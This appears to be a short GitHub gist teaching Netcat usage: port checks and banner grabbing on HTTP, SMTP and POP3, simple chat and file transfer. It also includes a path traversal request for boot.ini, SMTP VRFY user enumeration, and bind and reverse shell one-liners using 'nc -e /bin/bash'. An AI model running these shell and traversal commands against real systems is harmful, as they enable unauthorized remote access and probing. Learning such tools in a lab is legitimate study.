Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save vijayanandrp/ae3c134092974d44dcce30a9acdc4cc7 to your computer and use it in GitHub Desktop.
Save vijayanandrp/ae3c134092974d44dcce30a9acdc4cc7 to your computer and use it in GitHub Desktop.
Learn Netcat - Swiss Army Knife for TCP/IP in 5 minutes !!
Netcat
======
The Netcat tool is known as the Swiss Army knife for TCP/IP connections.
(netcat or nc both are same)
nc -h
netcat -h
man netcat
To verify the ports open in the system manually
=================================================
# HTTP port 80
----------------
netcat -v www.somesite.com 80
GET / HTTP/1.1
GET /../../../boot.ini HTTP/1.1
nc -vv 192.168.0.103 80
# SMTP Port 25
---------------
nc -vv 192.168.0.103 25
VRFY vijayaand
VRFY vijayanand
# Pop3 Port 110
----------------
nc -vv 192.168.0.103 pop3
USER Vijay
Ok
PASS Nopass
Ok 0 messages
[We also can verify the unknown ports in the system]
Simple Chatting using Netcat
=================================
v -verbose
l - listen
p - port number
nc -lvp 1234 (in machine which has the ip 192.168.0.103)
nc 192.168.0.103 1234 (You can send text to machine as longs it gets interrupted)
Opening the shell in the remote machine using netcat
==========================================================
e - file to execute
1. Way
nc -lvp 1234 -e /bin/bash (in machine which has the ip 192.168.0.103)
nc 192.168.0.103 1234
2. Another way
nc -lvp 1234 (in machine which has the ip 192.168.0.103)
nc 192.168.0.103 1234 -e /bin/bash
sending files via netcat
============================
nc -lvp 1234 > netcat_recv_file
nc 192.168.0.103 1234 < netcat_send_file
> - to receive the content
< - send the content
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment